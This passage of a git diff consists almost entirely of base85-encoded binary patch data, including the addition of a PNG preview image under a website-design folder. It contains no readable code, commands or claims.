z%0AZOYzys1GD&6{ti73&*gI4nw)t+KKDF~p3O?YZdendcu%BqoCWR6|zr|a}DMZET zwll#7{<>%->W{n92_t=xa_gAGg@^!pbOO|3dX~t|+Gg&wde%PSBUQunYsV`epB8jI zT)7cp5iCQ$d3zrYY~R&>E2a5mDE0K2IWf^Cl0plvuKi!RmN9zInL(kh4L=Pz*HkNC7x1`Al?QJTIRW=eB+eVkIFzCcY7PtT7ym74eMn z^=5ouZdz03yWCJDV`-mSi^kMlx2%~Ma~fyu{r&iCb`qP*`h*_60L$|Y{^3xYF6QAn zi64!(6%EvQH5%bfW508yy4xR~!0G^-xSKg^;?a0iciu6b@XEihLW zHyqc`@Xf9n+M1cauc{r>dUS&Vitk}Z&eky=_OJ9}}q~Znz)V2{ehQ1HZTP;hw(&;uI+Gpu=5|YO3{Th4n`&j^@9zG_l92A*uzX01 zCJhyIljHvriJhUQi+KO;&}L^mNl|Ne|H2sZzX%%$B`_+6uVn)@zrec3!dmk|koM`l z*%!~!iNM|JPnug?`wsyBm#kI`4{X@o_+S(dx_*v9j-BI$4d8Ok9^ZI)+mqhz7=z?B ziW3p$-(Pg}R%@J49Q%~_64Y&M z09NJ!`2D{V4|dp5Q&@0`Tu7i1QPMLO-x}`T(+gd3^*OUtZ;2~oRvp^7-vXevW@nEh zj9JaI^t?NW0^mf*GDFBwv$8-nduSK7z5QK}HT0*DvtId7R&uRS{~-T@Hj7_vYvi*p zz73#(9+?-l{nAhs+T^soGwtqjJkE3-F+8OGqR!uGW&w zYP6=q%&9&8H4h=W`mutP8DKu^`}*8^p^sF{kpqR6a#8BDyKkx=7Zpu>U9RABoWi$` z?^ENw&fVT8QB9_qO?UTMBQJ)DX1F(%-pl3oh!cIVOhR>d=uf$VD9n~(&9kJ2T(i9n z)rIwRQMszqjlgW^8h{&@5M2xhf3#~g*t`^pj=fxIoMat4ntLUH@$8Mr7QUnUNG5YZ zaQ)9{Cy+?5u*^MNg2KwijRdh`(h408*vSjQW%lwXQNP> z^T}YKQ_)7gbFksENz*x-j%YH~&Re6miS0?Yk1bLA%Gy&Qzz27Et&_lNG4(C@2bj`o zY;Z|`a#fpx&sM(QRvn_11)ZkZ!)C#mgFud-Xu7RKzNvvD%7XpOL@PigP;P$~(eSJF za`rnr^ID7u7h#Z(tKzxuA~>iX84q6?AF*SH)U zlv$?6VSAhLj=hVfp(+2cmfUD}@uGuKMs91W!ba0s(3KOn^Q@~wG3+tfiRy*e^sr~0 z%#--=>HI6!l)VNzt{t@lQYOr8(s!fd!ex(FUJktO`5-Z6=UbjvFtzN5Kb%-Gi1U#V zCbY|DjAjQxTJNC0Xqp^kP%4icbSKm@vj06Zl*RSzqk&`X#j~5vvI-`w(-T9xruLYx zqPZ1*earmQ4d1^0vOOILj-GuX8kd#RxKJqj{CW7NPlH2KGdyf!JgPR`w{#6l^m4kW zw{VLH%h5_97l*vleM=}e+rO1f71nU-fXO<^gJ+W1ah)o2aFjYgPtqzHRkVJ>ozCBj zx*!n7p11Vne>NG}|Az(SVnbU%T~!`-tSAPV9Zrn_r|P7Fo1)V%HK@JrE(y}fg=cd& z1OaJ)7-j~%aKv|im()H74U1+ZdL4V%9yl_vi%q;)Wc6!*r|X%>zw(-aUoi<&OyZ*= z0vlwKP0gHh=C&(z6uMio8JBilh_gqSoAKT=3qZ$(UrbXxsKv5xxCv4`|IwNd7SX25 z?{@gzl%q?`_Z8xSeAq&Sw+4GGL-?+#1=aOKq}ug3-(CLMAOh)pPKUCceh~S#sG$u=pk`5t18jjcd~6bzM9_@B@AH6GFRn6;IT-V) zhKqu0NEwUZQ1ySB|Gvh@GWCB`gdmU8h)fXTfwi5sTmxTKn^bKKRk5YKz)q6C%_ecV zrW8(;u@RZhX)z6ESDG+iFl%qhn7r=RTB#OQZGS{)2_B`ICS_O$gH(d8V@3Zbaqf*x zbFkt%y1mU8uRvvOm>}2Fg=d4U&`<>j;Wn_fW&aVEwTwpw8A>l|_1}lIFmoJT3vH3k zLUJ>HoMA+n0CZ9l>W@|_LcKWJR{>cWb5nl4z%GaAU@E=#Z1aV;7BWIiulNbn!#w|MHm#*b!UtI295yw& z9WNt9Rs2XPPGK%iEQZ0+Chy7voM}rtqw7^OL;!H2oxUEpC zlzQk-cQmYTaEAbmA(b?vw?gw}Zh${XE(2tZ>N+$t6(z0a0@FZn>aQkwv&cVmG<-~M zw`C~3dY^4Vt?G;Y2)5<4U?xZ|UE%I**x7>pT!v>=$l}$uR){9c z^ydhV@=es&c7sp7xdAal#&IZATYz1%9j_F2t2Jc#HXR{E2oU*ZmRr{ zXdO3iA%@Q9)Ln5eb_})c4dP>-7RVnmn|-&SO)JlOwfJcJjN?<2xVD0|UT+u`cIfT* z*ct+AR}mZI!~@kgpMy!6OC83Jra_MroNjWbQCemuHAhUtzq2g5-jIwyeU_ zX!ZRFAoO@{n$b1?Jo2`#Zr+t3@!7qfV)$Ry;ojL<(BrNOe)U5rU*no5a%{6KrR)wf zCzlZ;Zm1TmzO{Q{|MrgnL3?t!=dL9hrc3fh_F18{Xs*U|X2d(yDNS%+z*djo(o`TkEKmtaRJGbUyyS0}B0%*c=&b zGwY0}uDNx?#Dg_*cHdB-;EaM5rRWWV6;t2LtxnC_O1G<<)cY9*43?fb^Y7zrLg7!^ zNeF04@(-w=R|_=54ts@V2F6~xC}TE zBP9gs{See&kn6ec-{0~HqexIH_Rfg)?rRlcTj<*L{lFRoJ=u0vGm0P|aWIBD_Jw44 zG-{(zMBq4D+>e3q|fQ|0i4JhaAJn8KgkWW%P`5`jk z4wNp}M5Pzfk5KqMOx`LmW@cA6{Y**X?X76JntLUvHS5vzdpTh5w0bmKX;8>d$62+Ll`MrGo3EC07ndeYZ(A_cn_Z3W}mef|)wd zsDv<(QD8=!c9WvfNC57{1js zwynZ7pSQ^DsSw>#*1r477-n4nH4w>f+s+$ox=H(wcH8RNPzut^2p+-aFv+)WMF@Bj zG1Ff+E75Fa$M`&s2tK~&7mqy&eu1lX2G~e~AcGO3-^-~3_CL6b1SfTcayb}v<+<== zrOEDYNhX79$84ZSM3bZl8gMHh)a39rZt9VVjP&b2C`F^@Mr^_pnrk4Q!=Ze5TP+%J zw!DIUwJA3;^tSN@ovy=gdKie=HV6C3W2e}7xT&p5aPN_e&A*9U{Q=oXR#?OA;QyurLtzCxdW+YcY_4$$hM!X2pdUaM(M!(|j-!iP^G_tOPo<^Lwr4j=W zszNB01=D)&J#591A*6sqL5~eR+|x5gV-uPIJy`UVfTjqLi>m>f@7t#+;^lE02Ov!{XD^0T_{4d&+j?8a%*(=oOfoQyNWQE)Nm7m=}K$c7`N|Kq7qA_A#<2*TD=+y=vT*a zH<+`|(hM&~LUji8d(In7x^8T9`mzJ6V$+Np`p+IC9~sVTQABKN*DL6>br%dQ}?=whn@6vbo7lHQ4U6p1W0pn z<=%cccAfen7WQ!Bkgj_d_;r9Bles~^NW|<>~-0=DaxHs z>#-)?6K<-yRvBfV3*`*S6LjUq(squT=3gJ47!@a#rg)N7a8L}|_%Jtxyr1zuyCjhr zXt$=wkVadvj-NT1x)|nv4*$iB{CV9PHO=ByJ8M&;eKVBGK{%G=f&?~JDqvx_3Fh<9 zyoPAy<@lCYhgD>y-&`~^#U{-cUZ8%*9tf%Jeal?lzVNEC>oBgTR}09<#x0{_>oy%R zv1N*)Hn^-7|6@}MR9^%+H_X^VFr_tRWl@n-St&-Xz$n1urDR*zF#( z8ELfIY!+pOhUtJKnjy_@jE06rNt<%&1q7X$vYB-*koErp%$XN^HLK@D4%4~I-hZoL zLV#OA(*!VVa}xnD`w_Pa^m}c#Rd4LpLP@7#FTfkH*vw5=pII}ZG?)8?jc)e1zOaL@ z+dYgc2mj)3Zio*0QkD|c>fv%&|EKtln3CdpHO&M-QO|#Q!jZynRKhG(KM0yj-y|+h1}L((r-Y``2Z zrwhp6o#pl9;?x6B9G>Vljt7RE1`R&mI-;6={LJbiuYu+@qs}OInvy@M)P%$W>E!`9 zUnSEwpok5G;dqG zik{qWMD|}3Qtj*E8(DRSOPM$&t0=3b+pem>lCQb_(FyRf=~zkwQ{fleN#xl9vu%)T zZK(-yYyK*X!lEQ1g%-el7k)06&58BkQg9zi;!=idQs z!D)>Uo#z<(59&XJ7EF5@B+h}*^JdzED?>c_R`s^N^1#7r!aKK$*Zd;|?rG?z)T?ny z9-t#8@jji&AtbkGS-8#gdA&s4QmY6$)R=j_paFG8iuouR)K552nAzM>3wg@Sam}F0 z6HaZA(KYk>WJOFwxAdE`ziI&Xy%ZZuNWK!6dtxS<{;PveX`)^pRPfZB%;SVt$tPbeD8g%0Zy4bo)#)rbbC->dsUEEsIm+4V zZ0f`O8>`-21cm}K|JCyRnHDgR831L}QyGL?T%AYj6vFV8$xP;Zang%*x4m?3`~IY; zqY6kO5VPl*^CK5RZ6N(i`Zp=-vY8_IL3?ikx6BAn0_7EhhRr_`1=ElFySpS1ChzW$ zLU@aWX^HiU(GG4oXTdhRRP=CDglEfrbAM^f{3TRbfAwm6>?5{?fQ2+#X8B}WSn160 z*cdNZQMsHTKRwE$vi&@FMFwJ;SPg`JXBaOY34KEKj3i7dN|a{7oGQV&Cnk=gKh7nD{pr12N%!G1!97SH<>5dEPDA4 zkxJ-IsTz;Q0yHgih|_wKq8(XUUY?eiWhYuSiS&BkB?H z(N<{xn?E2^FP8Hn)vSsNq%5t$L=Na_uS^k6(v4~3#unRJeeiW(K(i8vb-2qoO>{VV zw|@QJz8BhGuRFq=pFzo7C{u}D8Vu*`{|A~8Hn*3FJ1Vbr^3h3+$cIVojxkLunb zmXOkUsIwQr+Jz~fes^(VG5RAq&Pp4O%@`!s$=*NWZpY~*&lwxM7~+b$V9Bp-&YfMB zaZwV&b?Y0=>UkG zODK;Kqf#9Id3+My|J;=Srv6D&IgsFffSGLR#ercQ_Vanc#3yTE@!k+BDFSUkIQ_5n z?qwA74e>rDCw<=}t*+@(q*l<=$M;IwjZ?rtAn0htyKb!^!x?Co(%tM&2vyni_@|zd zvg1sq_c0_{PNcAO<{n`YFjh*r#YsvVoCie?s%XR2I8^Eq^QJ&7=5^R)TWtwPKORUV zi#y%D-+lqd#Yrq2#BVl_(DM^8Db?#H4R$kTC*>Hm-5-X)GQw0VOfTUb6gypcGH)cq zyGH&K2}FcIO2VOOP`5qV4a@sU3@+lvcSoXhR9i0{opT#hF6DgF0jhS*hQgx`crY2Ul85c*|vSGZ6ugb<>E9 zZ{+}F&U%PL%u}W3L!FP&4ti1#FHf+tDRG<+ zI6WH`27t)ATg$ZKFqI_Df(*A0G2Qc(L^<4bItC=TdLxr65P#Q^PmiM$>sB(PC3$aatFZPVGEz{>_BN&}ywQqN($?fst5?h4Dx92KJEdSb_Ijg#<0g z=TmVTa^3jj9;q3hn==!f`B)zmq&M$aCCXnq>XDr{R0ADnyq*`@G38A|f)=ZxaG= zhsT^QL8cV^pA?>+kC%)#W%0{6B=<4Am{X2{rPd(12iH6Q2YF}mYE#f|oycl}N83cK zlcC}7uO|!oJs`?4G$828!@p(q#-rqA#L1)=4Dx&ed`R!L!+4xiszoq>&lhr`y-efU zQ?GZvx#t-)Sd6X}Biq&yw!I~I|cr^uGbcYuVa%|VaDc=4F3XJX0)zP}||3tH5!eVvpReTx!y0B@Z!*XiT zI{6S#hd!%^sH9Wfi-^3D75zNw*%1Xn39PNaH+~WCI+#)fyzBJt27AXsN4J#;lPU-_ z-M=#WhZ%CWB%=y`n83Mn+#ClK4a~Zh7Y`8U@wI#x$kSDZHEaA;Tf${e;U+XwFJ8TP z@#-rg*CB4)*;>zYBD)*tBU2A+e(zWSC8_UJMm9ZV<1u)l&Jt6uKX{hKRw(0K8~m`D zsnP2NXfqQn`rBuqnw}>)gCG`Vir({}he0t7=rgHFDR1lVx*OFI;_ti*gdRl9x$d>nLT6JJC;jiu~H-^2(04eg_KMiTpc}~z6c6crYFYNt$UTLR&=d&zE&Ad z*@TzC=eA@zy&iUw5+nrUHn_D{-8n4PwO*`OhU+O0@S2S8S&%+ECNrXoVMzDof}28nI-J!9I-^YXeEKqZ_J10hjt3CX$dt09;Hm~FrvT%`B z&6AbE^fQt*SE@bgB~$dYAC|-%%PKYyHJCJmNT|J6H1;`akl$awoqQ?Nbp9Ylehyxw zPtFbV_PFkM+onQPTtF!;g!$&r=XOYqi9dCI$Zb*qE6lB4?Je>#EML7>H&YLK5%?^5 zqhZ}H`qa;^&D_|*PpmmFC6}X7&SB=b05!s#+xb&2E-}(tM#KX22K~-m8dWX{L*2)LXIV{hv?&#j7ws58vbsCR^wO#frsjUS~V zCLyJl@c*1!GEJXR^rAu^Qql~ogf$fB%wW>eZd3MG@2O88tqR#AJM>;s5|fcgpKS~; z7^!>IJ!7yi(o<^|WYBgG|6sM8Qjpc~8=ifGD!@&6psglN_@oDUw*B-fFPJS)Pf&=4 zh4Q4@15b`-u;zq!!F;6Liuc2S? zfET*;3j0B+d})GbLN8vZAsS|D6FLn&tn#`v|2iU;k??=HUq0(`*5c)a&lcp_<{1_Y zny{!xmkrPow|AL?{gV@V;3t*&dMP>d_UGZ%-dpRi;xY~+9WgQNQ4>L8W$*4jDb-pp z82|fy0pj!|#@Xz3N$c&7qG;= zB)*_uE%QCo@=s1F_m%8KJ%5{>1r`fZ0hJ=S_jh#uxwiBn*SiPI)xtuxHMQT2 zbL?^z6Jhd`I^m0ySMPI091d}aXMFPmgrR|aUf0V^e=k*CDboQ=;O^Q==QGJr3Mhj` ziAt+{yPbAl2m=jBXO%j_zW`&PN+54@)BYe24TpSKMlyt3{R6VMCXHA8-}sbb{O$Aa zz+MRw@s?tBvY!fZ`7jeUOL#wSmL2jJn{0$25tmAEGLe|(bR~V!; zwisH&3g6oxYfBcC-Sa&KVu9o&2rxH|M-U~4<@-oxj{RwGxr()=!CZ48-9|F!VhiMq zKiS(0ZvrsWeO@-Q@6tGr38zt=bi;myB46$9N>sR-Ct#H!694AaLDs35?rEt=(XC_JDRuZG4R z3Zy>28Ce{m(p}=&IN=apz|GwM6X$OlJ2eAPi~RYQ4`~yup8_p`jYjA=^BTFjLg*hB zOCgdS9c;#!`VmR1K3k`~g7H-IX*h#KKA$|0O$<&>!U6xY>wHch+!$5Q1ULRHU;2BE z3ZrwG_R?3F0SQro5{9IRPPvjeLMy?#l%ose(ww%?h2AEJi-5f7eH^6RkOtNIuO=Pg z)c9$;|v877z}#kgM)#y98Miy&xP=63E*; zw+9iW-(EoM|Bjq)ZaJpOmO?;_RYkj};x;Td`h)JeQk>UVXDPEP(1HfNK70;h6FT7_ zm;rHTGS-s}IAo}q{(hG$@mLS92bJ^#t^ZbdjP3|E24YhMC0bWKVyC2jA*Uv0$0n!8 zCr8Goy$$_q1T!cg@(-LS>0YJYH=zWcsow-7@vsgGz+94!163&}wl;afsN8n2H9e38 z?ixibp_V6A=?X;a&khk%aiZl++v(MHUeEcdsi8f-fkTA?Avrb1Yr-j%ChXAQ&0#Th z;QTCHZYfRy=dBJ;5mnOGF+QAjLnMG_xWy9TT@~LBqY^kjWe+);T3-6UlHE@h=I!&+ z-$CDM9MniebF0)zeXHF;L0=DJ%yexv+@o%u|K}X@Y#c)z%+fGDW2qds(_}JW-9DR^ zUKDSAq~0!~H|&p@h(<^*wco80VDx99q%e zlwY-Mr__ASgvec407ztJVm#BC$vJ|C2(UVt6kL3SE(xoxFrY{lz^CP>+}xJ?r`dXP zD&H($sVRH&sJDP}_ade;D=)S;;zI|F>LRJ_F!Jc;(d{flO&0l8mm?4yQE;r#^rNEx z14#A$r(Vnhv=lU_k@6#Itk{td0D%&nNDYDk70YMn}?EoQg_>OGz@JCzz_qu5Jv(7Wz3`LIV5wJ5DYJW(v<@XK#5?CiwQbgb% zxpf3f%j)ac?#$lLw@oPhy$=+3`eoTM$04+LlVkg@XCIhmUK*&7HHP{-+S8r{< zd0Q=XQ2(QKV}NZJ?Buz82SE@=Q1Aqt#z~z~r*M%oWm9e?IznDL$vNC_t;_PMvOCK2 z$G$3FW495N9tL@3Sr#4Fj#DRe>(~LRN=Lc%_l-m&70(J(|Gik9yQf0(DcRreK7Xc5 z<_Q4AFR+cM^&YpI2H-BFxUwH0uOiH-R3U?J=)uni5me@?`$SK#xt?4sE!04yUF!{r z<^a?mKILulQiYRs83#vE&y-_@FqT#zruDYH8AdxO-dcChDSz=1NfqN+=Us zC7?*x>~ju&etYfy+iUmFUY0OSgx*>POPrf+ zv*=&A$0C6ihIzN=#q7~>^rRV*L?77e_ehKswwU=gv3)x7A6Odt7FXeH zAMd0`m+Wgb^zQZfPUgY~$)GTF**8QHz&S=`kJdJr)x3zZ8F*DjGv|u5sdJ z3ktCjDc5x~+_%NdW@p)4dr~B>^s^G4U|CLltow7xx}51hoti7%n6yVG#y`rzp!&NH zWVbQ3`*OFj$`a&#X}F(Vdb;5B@^{oaK(ynob)QRy%Ot*%3&;yaxTX##YGsG9%m|o5 z@HfD6!QvYrSL&uIALo>&7xbPaQyO630eb)!xt;tv*i@BdX;gXIuT2e9yi$d$H)EbN zvZYFtPQ-72W9D>@i4gvGUHNUTKT8@I7!shjDibq(Xt@0dZ3J)RL)+~AmZ1?l%pt1W zBR4`HjZ8~t3*-}p2UhhLmWOy+XHtZL9j&uj#zsKhhw@@RSqZuDns@G}=rar1+^vDL z%3aLDGNQwGGO$vk;Q9-^y_w2br>&-2XYAKshg8-ps%kD1^ zhpi}>n{f{b`aNTA?I+n6XQVc*HkR2PzDK6fGB?^PHJ9oZ*dK7(+zD?+gwG^eSwBlh zm(Hm3NSZW+T!AQLZP7m$C?Y=f4_sL55wqN~x@eDt)h^Z^TzfX^YG3%v?V;0)%P9aM zQ_UAY_mvb}eDkr-9P>HogFFVT?^{{mJo&Ez72db94!*tZ(ou1=!3N6}4T`dc4U-BZ z6|C3a&FpcD?V1}tr4-yW9|m8XyrKd$Cus0fw1|giwQE7er-4cQ$9R7;qn1iB7kg&i z_{_1TT0!f*9(AQYPo0g7ZhMPPRb>|kG^h5S^{0KkXfDy`xIXj^7a@TtHOXroBc05y zYLS;aeLcS**7BCyhQE-jDGvuHPx(Y#8Lz{Podj{bztCYy<#m6)erFB6&_LnVah1wE z`^H37s~g(d8VU#(r=}za_5~UnsIkWqs)WxCT@I(yD$n9tiFWMX+{)D8ZE&b9Jo;l_ zIY?85*52~YPu$X^hdP9q)htii5*IXQf|oA_t$I9VM;rh`t~hZqj8~D%`Z-ybEW4c) zy%Bz}Jrch*=$8BTR?^;|X!Rj}p4hIP5Q3`OlKwa9tY~oeAc0FhhATD=={?1iYVOQBl`8)&u2gm z0wE4UtHeo8=}#qV0V)PGy3eKtmt>cNNbE!?R4=$~Twm0v59ihkC9t4>P1y8%ilATi$gc6WZeWU5OSRC8NZB>Hw5*5_%nayr~K^sWZ@7o;F*lb5cS>pSv& zC-(-A6_QXW?o(`My_o^m8<>Ci$xB2ZQ=(8{uw}o^1kchC6~4Z}Lvruzyu|j4?O|n8 zhT2z2#rHn$#k+R*4BIqpjO3e+(US6uZCj1R4Az}5y8WZ6QzDcg)tNsV?3S0A8S5sC zh-5v!+l4026+ry(DSOvMn&(+?Gz`Br#)fzEud!j@P)hs4%HC{ve1TaF@ZuN@VJvH- zBJ!Tysg~#i=XiCr^K9yZQh1!ggj#PG-ivykDiUv1hv#$SjMFt=#B4)(Wa+&dh!Jz@`&($UqiJQqg5VyR={uf z>UPDW@r_`&@pmKTZLlSDc?JfBd5UE^?OL}I3LS#^NvoZ3Y5g~JbnYuN==M(f6&5;h zV*5*%o^ghU`!h4t0IHn{I?lyqknAg`JGyJ;;*PjY(Yzh5PwevV01g=bX%-q1w?}DX z4MXHU!X(!hDGoX9@=`YEibx!UjBLhR&x?R_rO7?LcUEEC=G1R!g>be+>Acs;5p~10 zTsqeC-#>n&zN$~aJ@9iKB(8n@u;s!-6p|{vEM>kg?2yIavfBtCTuds6Ch;4|KLo-Y zZfloqv=T?H9J=R}`+BS3yo)#h$<#BsBDgykSfz8d-+Ni zgQxnpDfZ1hWo9#TgAZ%AKi+=M!gg@qDA`6LCxT2-?@k&M7Q@4ft zmkUN1Lg5P-<4WD=3XVtC-2|Z-nkCt~0i|BXer-34kqg%)?3KTKdC0Fc2&ejX+PmGO zs7+3Kcz46W=Z$uB69kD3FjkuRzLhY(^;E6DCGYB7h;Yxlf$>A-J#BIGe8dmkFNC!m zNUi{CEOW0DfnTd9twM!Eht;KypM-4bj#i_>}q!*k@)fC#3 z^S8gZ67f5WM=xaUD?-;UdC=z3gWD?z@n%>RU@?I35siF7dVT&*D#7yl@k za6SED+-Rmpb}WkeauJjl(CoVbferVYhK);&5r!hM#&_#{CjhnK0hTeBsEsd zioQw7oHuyk4FHwY%T^k!*9+~O7U2uSrEdfe8yWGON1CiDDo%gFg=i>5++t_1=5dR1R7TXnf;1z_{X zNMw*$k-OCB06q}e470|g)sFoMM$}Cga=D85V|`5&N~MtF5n$GYwn+2KFYKuTIC1VL zxkF~ykjbUh>x*RZ70D8`42uxE9oFT32S80IohEpwl;oW&VkR?v@U3twShY+AQM~8Z zfuS^58f;fNVail!uk+ncvtq3>1FKt$%o!UFfLX|L;4YOH3`O%xswc0Ozhr3y5>+=RrSSws zA7lrF~)q^`oF^KCZdF^h;3{-5`7_Chk z<&TEU!v1H3_!IYNWsvnHr#xzbeQ7%IZG-W%=;}jCw<0sV1AJ+EXJ||}Us+q4&xK@;2!rDHx1FRxxC3_bOu`sI0~58@tHRLs&TQpm33+>Owc zGj$(GyS0(S-e`QLHRmi+eh-Kr$sg?I_kvs8S(CGH*G0F|75oFH^u#70em(ilCVz&K zE^%YdO%fU?cXT!VI{dJ&o_L>EH8&BIA2WUY*=bWX*IK>d;#^^NrJY`|G=~&PP_>3@ zk7~;9AC(Os&-_Wwsfxb;jykke((|$v6Q#NayN^x+mhtrvzD7Q(1zuHLiR&7qZC5hR z99{2q4DuV@!<_*OkLf6tkvBM{=mLV7>{Bb#_E10t(iAnbcd14Dd3XZT(w)a_Fy@Co zlX?aE=W<;fvS{lkTc>jSaiBBFSDvDN8>)P9n3#kJ3f4CjC!S`lzA0KNHV`NZ*fb2$JRV zuCCZwu}%q=r=1q7Z3%BheWa1Gle63XVp7s=bPwji!l&# z*`A*dg0%Ne)`o;$?nZgk7z_=A#830F$=y_1M)&GeshdKC%G9g|x90~((+?mPkQ}PP zbs`xe<^lellNLL9QoKU|N%_ODvLnFq{$l1hFYh}Z5FxIG<_g1lNfJUqB*lEpYLM{j z$09WovH_SUq^ZU&g$11z&f>)r!)0Tf!)=+zV0ryEU#+PuWZtF9uU^$hXEW-5nHRb` z59J(KUI3ut(9Tzcp37NkzJy!vocZ*a(jIxdCPvDPESfRW;R5!JZ{FHv|Eq{XaXZ0I^cK6j^0c$YZ_r^#^+ zd7}vlzZdnxkkvA^5l7-;^Ch@PWe=hdtFg`u+_w^!=2N?wUxM|$c` zN(Hg&58-tTLpNzO96i010EJNfzNcpnk+GkjAnVJ0FGLx&!=sn`3L34_>WS-?GjQZM zLwe#c`mUB!+kRAw+2Nyc)JS&qcmKOLVg0C(qYZkQ+H`*#Y%;cY3H1x^bx^>HzbdfrgRo zp=LMYl-AH#ZZWt8HS5HNEpKS3>1c$P6$)vyjw+zD_n1pb+c?CiR6JDv0jGSP=AAj59BJcG3rXG3xY^0TgY#hqB(N2|3xT00Hkn{4hD>b-ua z`&*!{6tFGU{u9A|1hrsQqG7@TtFEKNzhr#6rY7`xf-YqtE-+nNW-||D6Gnyd@V#9y zavq(A9JaSK#!dFmAM$Z?PUXxn10rCegZ+3)ctm*eAo;bgx~-|IWWwWj75s7OJcY-W z5O+t?>_Xypx5_k?Ns$@Im@Cj$_W)GT9^RkJWqGDCa4k%%s;-m-$SQ`;UIQ``oi2u? z$-3`;fq9mMjo#;-?XdMQl6ZOIbmr^c3gH$Ua&#l2%L4x;xFd!p7bVm=_^9a81liC^ z$tA%Sw;XyGIuz68Spl~>wk&2>3hVjnTPsdcUx3$*I98QD2NAyGdLC1tn~57mKER~1Hv270bCm!1+gCa8Vo(S9s6{nH z+K~J9^b0l_i%3tk#cK0{_{>M8emcvdmVx z{c&OQrZXEWv2`0_uGnPFsCXO5IN@?jDRHq~K}3K%ExYZtSU;*URC?XPwIAi4f+>*< zy%DEREQ{6{DKf@tm2PRSKy5F4vHVRsAPNPt1}*aS=@@>j%aJ9L5!30l*4=>{0~|}O>0l=+l|ucX3TN&aiK?XDDZ}KtS&<=$Gt&pdQUrZRtB04jk&uY^=vwO& zB_L}plF`sV)0i`&uKTd{C z?0TEP^tmZ}pwx=Hdm*5jKI#Bf+gV#Vu_BrRx!a;P4%LjCkZDletuZ|ad7u1<2Z<>@ zg2;KX?La5IU@s)iiMZxlZfK5tgSe_nhf1Dl6(R7r*=SbA&f=2!ZNV^o0Z)DtVcKgA z%s4x_K%yrxWCN^XyjD6#we6&y-aDJW;?eNznv2xI~n1JDVzyc}cE zCT2Y01@|q)6O;UuBS{0ZM)KHNs1@h;psc|fLIFM()ge#}bh#Im9hXZUb^li_Mp4o+Nx=U@W4ado%$V&P1J{YtGs8m-gDd)8(X+ZVT&ZK{` z_0Xo5yv)J{b4b$y0G_WUYoJtO<5vaZuHW%SbxxB0`{RAx1ILjQl#@_bOA6OB1E~by zGD^Rw#PNIHw5+E`fVY@CJ)$eW^ss@ElAZZ8xME~n+@nx;BlKw@RqM3J(*?4!ANp!x z36^wT!iwI>mrPmc)efd(8TY?V+ET%nq~?k5P3cy3p@};|UX*(9~=zJ}vG%A4aoZ3rD4MCr*vM=gAM$qoa)45`a zI`E4e!=nFNp+-}IY3+TwTMWdn(dzVu56vD-fq@NJB(t`lgi#ZzH$>8ohSVo%xzq+iQdTiP3;o5tB(V*a3E;nO02 z-p^UWT=rX6Np$E+jAz2{30w&mwET1OKYmQYuW&ge7opmDBO#=vn@Ye5X~V9zc!sk$Lj#!jJ;zv$0Inn z4PbAe1QHPcNidm@s857e9J)Ba9X6Q%vAE+ibxz^~944zk=;Y+4Heu z_OZ35PWQbOI|`G3V*#kKjyyc%$RxbT-Sf)|Ag#2Y3w$NzYL*x25-5f&ZeaPWzrGU8 zPaYIb7&O$n6&2wMk(~B9X6&0IKS|Q_Iz7HvXAQA5s64Ks-v3%1IREtKkb`gZVmkMd z7JBJdnHfMDK0%0HEEO%2e)z&f7^+}1PEL;W4-Aei0BuyM4Ys_GtJz?4bN$S_1c2~@ z7(Sv-UixNfpPG`Y;hNs?rCQX=MxN?k{dg}P8HiPD>C2Bh&$quAFg^d=q>uDOkH2DB z_e;i~BnlmtQHR5n!vlq-v+EB(QMMqce)SWp&xMMq>pmALSm+0DyZL0rvW`Td-wl8iiSUY@nR70{6Zb$|5aERWj$ zH}X#C$nUvAd;H*u9v{J*BX9CotLWBPsEkOI!k}o@*!#)yLRSqq-+`L2IKhwYhkFDQ zAijm@8Vh^$60R#tSUW7`@QLMm8mX2m{ zMZ=`b&>3|x0)9F8K6%_6wY9&!e4iA_jjhb54HNxl0541ta(%m(^9%r8y_ zbXvTL4v6V7_s>1g{mjENRh!IZH&i~@@I_KE(93;~H#)6*N(6t!HeQ?8xqS=Iz$tn^ z(0K$mmoIO*11Gt=wpg6debL7qOy5b5Y=$ZW*}h}jf}Z%zeTgzb)Ohwha? zrzfvorukPR69t$vUZo|Q zbr5S$sj*+w2Faj~?zUFe)(*$O9c|S;g>YDTn@p zcJ4IR5YEgRHNF{DXZd?b+2FZ{4Dw}7p)YMBXMNE*J-7XIe4g! z;cC|_|6e2a>@=dC6{4!wmjcUgy7kZ>T~O%gc$f$r%eU1A#MCq zH+tXmgd6|6cI5<733%nDG$}PO3*4A^4`r67=^mIW-}+AAN;kE4l|gpnG^{0d$qD;T58b|6ITJ|KEP~dtz(cNpK!8Ok}xkW~$$x zAb|u7h8cBQF&NLAJJUs}g7^wBFmk{9`u7HOJpK;U-}Uf!Ux0J+S3aQf;O{v6)fdP@ z_y!*8_+{dbPv9Q%+jY2dX2G@)dLY4Ih{WWt+G8+``w-=_8zbAy%Y;cf3@|h}m6KMM%DQsL<9`5t C(GUm# literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v7-t32.png b/website-design/previews/anim2-v7-t32.png new file mode 100644 index 0000000000000000000000000000000000000000..0d4851807161f88b941205c9ea49443f9c97cc94 GIT binary patch literal 60299 zcmb4r2|U#6_kZ2)Z53@2S#Cv0mdL){nloagCfQ={EGMRso5 zv}w2T`LkCxZQ8D|Y11!y+kXQ7M`h7Nc+;jmn~cx?e$^K>*}v_kD9vGnW9{|R$zOLY zo>(-^y1cI=dsu<#>4UPTM{3kd71JXX9}w!LVm)I`6bVua#42%hW_Sk-&8KOKRxex^3~Hn->tCE>zY{b zU-yZ_aoqA z$d-G*t^C)+S8``ISP{M%X0>Kt%0sq$o7TKiZm<1mWRqZo_|W+cmZ?AtRb;Q-SjfPs z5E(2u>SSa7`j5E`=e0{JlfHYyn`?i1WnYbC^3_O-@74gmO-Zm5-2Cm~c0R!#eHHib z3;WRY5(=j_UU4N^|G&w!TF|o1BJ;k)R%u7;7^n3gMyC?w{uS|oJrF}Bm49E5&AK-+ zPYTyR6R@8-nUUnChiA|CwCq^F7_jzmOVh|&5liwJrz%(NkJHSl8V%fNCE!f%I{)W2 zVh;7eZ2!;q&Ld}h>#~pTYhACY|9p3B@|j##8aQRyvi|#H)9LM5ciOhU37oPzdpe`# zd!=7p3h4?+bls^E66F5;_mJb_{0b9o1y8+l+`P_S{@De4??S!p-j-j}H`2@rBl7yC zcHQ~@kbxukCf!XbA3WCmSS9>VMqbEyg_keB6P%N^co8a2F8Nov??vil9oDo)UyOCE z&T7$>BiHN||=VJo!U1e0(D< 